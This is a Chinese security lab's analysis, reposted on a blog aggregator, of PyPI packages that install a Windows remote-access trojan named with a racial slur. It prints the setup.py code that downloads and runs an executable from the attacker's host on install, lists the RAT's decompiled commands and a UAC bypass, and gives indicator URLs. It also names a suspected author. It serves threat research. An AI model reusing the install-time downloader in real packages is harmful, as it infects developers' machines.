ihateniggers:针对Python开发者的Windows远控木马分析

这篇具有很好参考价值的文章主要介绍了ihateniggers:针对Python开发者的Windows远控木马分析。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

背景

墨菲安全实验室在持续监测开源软件仓库中的投毒行为,5 月 9 日起发现 4 个包含 “ihateniggers” 远程控制木马的 Python 包被 nagogy@gmail.com 邮箱关联的账号发布到 PyPI 仓库,试图针对Windows系统下 Python 开发者进行攻击。木马利用了discord、replit、playit 等多个平台托管后门、隐藏身份,当前木马作者仍在活跃。

事件简述

我们监测发现,从 5 月 9 日开始在 PyPI 仓库出现利用 “ihateniggers” 木马进行攻击的后门组件(installpippython),这些包只针对 Windows 操作系统执行恶意逻辑。

这些投毒包通过在 setup.py 中添加下载执行下载器的逻辑,再通过下载器下载执行木马。下载器首先下载 curl 的 dll 文件为攻击做铺垫,之后下载 “ihateniggers” 木马文件并执行。该木马中存在截取屏幕、执行命令、下载文件、获取剪贴板、获取Wi-Fi密码等恶意行为。

当前投毒者仍在活跃,墨菲安全发现至少有 4 个包含 “ihateniggers” 木马文件的 Python 包,这些包当前在 PyPI 仓库中已被下线。

包名 版本 发布时间 所用用户名 所用邮箱
args-python 12.4.5 2023/5/10 nagogy213 nagogy@gmail.com
args-python 12.5.5 2023/5/10 nagogy213 nagogy@gmail.com
argspython 12.5.5 2023/5/10 nagogy213 nagogy@gmail.com
argspython 12.6.5 2023/5/10 nagogy213 nagogy@gmail.com
installpippython 19.3.5 2023/5/9 nagogy213 nagogy@gmail.com
pythonarg 1.1 2023/5/10 dynastyoak nagogy@gmail.com

投毒者 dreamyoak 利用了 https://discord.com/、https://replit.com/、https://playit.gg/ 等平台托管其恶意文件、作为信息收集的后端服务、命令控制的信道,其母语可能是韩语/朝鲜语。

投毒行为分析

投放包含下载器的 Python 包

投毒者以 arg 作为关键词在 PyPI 仓库中发布了多个包,以 pythonarg v1.1 为例,当用户通过 pip 安装投毒组件包或者引入组件包的 reqinstaller 模块时,将会从 hxxps://cdn.dreamyoak.repl.co/ 下载并执行恶意软件:

# setup.py 和 reqinstaller模块中的 __init__.py
import urllib.request
import tempfile
import subprocess

url = 'https://cdn.dreamyoak.repl.co/cdn/hb2Voh.exe'
with urllib.request.urlopen(url) as response:
    with tempfile.NamedTemporaryFile(delete=False) as tmp_file:
        tmp_file.write(response.read())
        exe_path = tmp_file.name

subprocess.call([exe_path])

exe文件运行时将从 hxxps://cdn.discordapp.com/ 下载libcurl以及木马windows-services.exe,这些文件被作为附件传到了Discord中。

ihateniggers:针对Python开发者的Windows远控木马分析

在文件中也可以提取到开发时的项目路径,将该模块称为rat-downloader

C:\Users\admin\Desktop\dreamyoak\projects\c++\rat-downloader

Replit提供了从代码编写到构建运行的云端IDE环境,*.repl.co是Replit平台提供用于托管用户项目的域名。

ihateniggers:针对Python开发者的Windows远控木马分析

投毒者至少使用了 “dreamyoak” 和 “thughunter” 两个账号,分别注册了 “cdn” 和 “cdn-1” 等多个项目,用于托管下载器,以及后续的信息收集服务。

ihateniggers:针对Python开发者的Windows远控木马分析

ihateniggers:针对Python开发者的Windows远控木马分析

通过下载器引入远控木马(RAT)

windows-services.exe 是一个功能全面的远程控制木马(RAT),运行依赖于 libcurl.dll 动态链接库。与hb2Voh.exe相同,都使用 MinGW 构建,投毒者可能更熟悉 Linux 下的开发环境。

在运行后会先通过注册表、fodhelper.exe 等绕过 UAC。

ihateniggers:针对Python开发者的Windows远控木马分析

而后连接back-effort.at.ply[.]gg:50555服务,ply.gg是playit.gg提供的游戏托管服务域名,针对游戏场景提供了TCP/UDP的公网端口中转服务。该木马利用playit.gg作为C2服务,降低成本,隐藏其身份。

ihateniggers:针对Python开发者的Windows远控木马分析ihateniggers:针对Python开发者的Windows远控木马分析

木马中支持了大量的控制指令,实现了如截取屏幕、执行命令、下载文件、获取剪贴板、获取Wi-Fi密码等功能。

if ( (unsigned __int8)sub_522560(&v41, "!ip") )
if ( (unsigned __int8)sub_522560(&v41, "!screenshot") )
v12 = sub_522560(&STACK[0x7A0], "!download");
v14 = sub_522560(&STACK[0x870], "!cmd");
if ( (unsigned __int8)sub_522560(&v41, "!dir") )
if ( (unsigned __int8)sub_522560(&v41, "!clipboard") )
v15 = sub_522560(&STACK[0xBD0], "!openlink");
else if ( (unsigned __int8)sub_522560(&v41, "!wifipasswords") )
v16 = sub_522560(&STACK[0xCA0], "!errorbox");
else if ( (unsigned __int8)sub_522560(&v41, "!tasklist") )
v17 = sub_522560(&STACK[0xE40], "!run");
else if ( (unsigned __int8)sub_522560(&v41, "!lock") )
v18 = sub_522560(&STACK[0xF00], "!delete");
else if ( (unsigned __int8)sub_522560(&v41, "!getadmin") )
else if ( (unsigned __int8)sub_522560(&v41, "!webcam") )
v19 = sub_522560(&STACK[0x10E0], "!upload");
v20 = sub_522560(&STACK[0x1140], "!mic");
else if ( (unsigned __int8)sub_522560(&v41, "!disabledef") )
v22 = sub_522560(&STACK[0x12A0], "!cd");
else if ( (unsigned __int8)sub_522560(&v41, "!isadmin") )
v24 = sub_522560(&STACK[0x1370], "!wallpaper");
else if ( (unsigned __int8)sub_522560(&v41, "!restart") )
else if ( (unsigned __int8)sub_522560(&v41, "!shutdown") )
v29 = sub_522560(&STACK[0x14F0], "!uprun");
v30 = sub_522560(&STACK[0x15B0], "!kill");
else if ( (unsigned __int8)sub_522560(&v41, "!sysinfo") )
else if ( (unsigned __int8)sub_522560(&v41, "!fuckkeyboard") )
else if ( (unsigned __int8)sub_522560(&v41, "!fixkeyboard") )
else if ( (unsigned __int8)sub_522560(&v41, "!blackscreen") )
else if ( (unsigned __int8)sub_522560(&v41, "!bluescreen") )
else if ( (unsigned __int8)sub_522560(&v41, "!windowspass") )
v31 = sub_522560(&STACK[0x17C0], "!spam");
v33 = sub_522560(&STACK[0x1860], "!adduser");
v34 = sub_522560(&STACK[0x18D0], "!listusers");
v35 = sub_522560(&STACK[0x1910], "!deluser");
v36 = sub_522560(&STACK[0x1980], "!play");

也会依赖其他后门完成额外操作,如获取摄像头画面:

ihateniggers:针对Python开发者的Windows远控木马分析

获取敏感信息后留存的文件,多以 ihateniggers 作为前缀命名,投毒者可能是种族主义者(niggers 意为黑鬼)。

ihateniggers:针对Python开发者的Windows远控木马分析

窃取后的信息会发送至 replit 的信息收集服务中(hxxps://cdn.dreamyoak.repl.co/api/upload/nagogy133)

ihateniggers:针对Python开发者的Windows远控木马分析

溯源分析

投毒者在 2023 年 1 月份就开始用“@thughunter”账号进行服务部署,在Replit中部署了多套环境进行测试,在 5 月 10 号开始以“@dreamyoak”发布除 installpippython 之外的其他投毒包。

在GitHub中,dreamyoak、nagogy账号与木马作者的关联性较高,其仓库中也包含类似功能的恶意软件代码。

ihateniggers:针对Python开发者的Windows远控木马分析ihateniggers:针对Python开发者的Windows远控木马分析

通过邮箱关联,攻击者可能使用韩语/朝鲜语作为其母语,其对应名称可能为김기원(金基元)。

ihateniggers:针对Python开发者的Windows远控木马分析

风险防范

当前,PyPI仓库中涉及的python包已经下线,gplayit中的back-effort.at.ply[.]gg:50555服务已经关闭,replit中thughunter的服务未开启。但从其投毒行为来看,还处于早期调试阶段,后续可能持续投毒并提升检测对抗难度。

相关网络IOC包括:文章来源地址https://www.toymoban.com/news/detail-469917.html

back-effort.at.ply[.]gg:50555
hxxps://cdn.discordapp.com/attachments/1055888135671795823/1105559368600133642/libcurl-x64.dll
hxxps://cdn.discordapp.com/attachments/1055888135671795823/1105562608993570816/win32.exe
hxxps://cdn.discordapp.com/attachments/1055888135671795823/1105559654160924672/windows-services.exe
hxxps://cdn.dreamyoak.repl.co/cdn/hb2Voh.exe
hxxps://cdn.dreamyoak.repl.co/api/upload/nagogy1337
hxxps://cdn-1.thughunter.repl.co/cdn/DLwsT3.exe
hxxps://cdn-1.thughunter.repl.co/cdn/Windows.exe

到了这里,关于ihateniggers:针对Python开发者的Windows远控木马分析的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Java开发者的Python快速进修指南:异常捕获

    在之前的学习中,我们已经讲解了函数和控制流等基本概念。然而,在接触实际业务时,你会发现异常捕获也是必不可少的一部分,因为在Java编程中,异常处理是不可或缺的。Python的异常捕获与Java的异常捕获原理是相同的,只是在写法上有一些区别。它们的目的都是为了处

    2024年02月05日
    浏览(79)
  • 🔥🔥Java开发者的Python快速进修指南:文件操作

    Python提供的文件操作相对于Java来说,确实简单方便许多。不仅操作简单,代码可读性也相对较高。然而,我们需要注意的不仅仅是文件操作的简单性,还有文件操作的各种模式。在Java中,我们并不经常使用像Python中那样的操作模式。 另外,我们还需要注意文件指针的移动。

    2024年02月05日
    浏览(77)
  • 🔥🔥Java开发者的Python快速进修指南:函数基础

    话不多说,今天我们要介绍的是函数。本系列文章追求短而精,今天我们将重点讨论函数以及与Java方法的区别。与Java方法不同,函数不需要像Java方法一样讲究修饰符等其他特性,它只需要使用\\\"def\\\"进行声明。另外,函数的参数也与Java方法有所不同,Java方法中不存在默

    2024年02月05日
    浏览(62)
  • 🔥🔥Java开发者的Python快速进修指南:面向对象进阶

    在上一期中,我们对Python中的对象声明进行了初步介绍。这一期,我们将深入探讨对象继承、组合以及多态这三个核心概念。不过,这里不打算赘述太多理论,因为我们都知道,Python与Java在这些方面的主要区别主要体现在语法上。例如,Python支持多重继承,这意味着一个类可

    2024年02月05日
    浏览(59)
  • 🔥🔥Java开发者的Python快速进修指南:面向对象基础

    当我深入学习了面向对象编程之后,我首先感受到的是代码编写的自由度大幅提升。不同于Java中严格的结构和约束,Python在面向对象的实现中展现出更加灵活和自由的特性。它使用了一些独特的,如self和cls,这些不仅增强了代码的可读性,还提供了对类和实例的明确

    2024年02月05日
    浏览(64)
  • Python开发者必读:Pip使用全攻略与最佳实践

    在这篇文章中,我们将深入探讨Python的主要包管理工具——Pip。内容涵盖了Pip的基本概念、安装和配置、中国国内镜像源的使用、包管理、与虚拟环境的关系、高级用法、问题解决。 在现代的软件开发实践中,依赖管理成为了一项非常重要的任务。它确保了我们可以在任何地

    2024年02月16日
    浏览(42)
  • Java开发者的Python快速进修指南:面向对象--高级篇

    首先,让我来介绍一下今天的主题。今天我们将讨论封装、反射以及单例模式。除此之外,我们不再深入其他内容。关于封装功能,Python与Java大致相同,但写法略有不同,因为Python没有修饰符。而对于反射来说,我认为它比Java简单得多,不需要频繁地获取方法和属性,而是

    2024年02月05日
    浏览(66)
  • Java开发者的Python快速进修指南:掌握T检验

    T检验是一种用于比较两个独立样本均值差异的统计方法。它通过计算T值和P值来判断样本之间是否存在显著性差异。通常情况下,我们会有两组数据,例如一组实验组和一组对照组。 T检验的原假设是两组样本的均值相等,备假设是两组样本的均值不相等。T检验会计算一个

    2024年03月09日
    浏览(66)
  • 🔥🔥Java开发者的Python快速进修指南:面向对象--高级篇

    首先,让我来介绍一下今天的主题。今天我们将讨论封装、反射以及单例模式。除此之外,我们不再深入其他内容。关于封装功能,Python与Java大致相同,但写法略有不同,因为Python没有修饰符。而对于反射来说,我认为它比Java简单得多,不需要频繁地获取方法和属性,而是

    2024年02月05日
    浏览(63)
  • 🔥🔥Java开发者的Python快速进修指南:实战之简易跳表

    之前我已经将Python的基本语法与Java进行了比较,相信大家对Python也有了一定的了解。我不会选择去写一些无用的业务逻辑来加强对Python的理解。相反,我更喜欢通过编写一些数据结构和算法来加深自己对Python编程的理解。学习任何语言都一样。 通过编写数据结构和算法,不

    2024年02月05日
    浏览(68)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包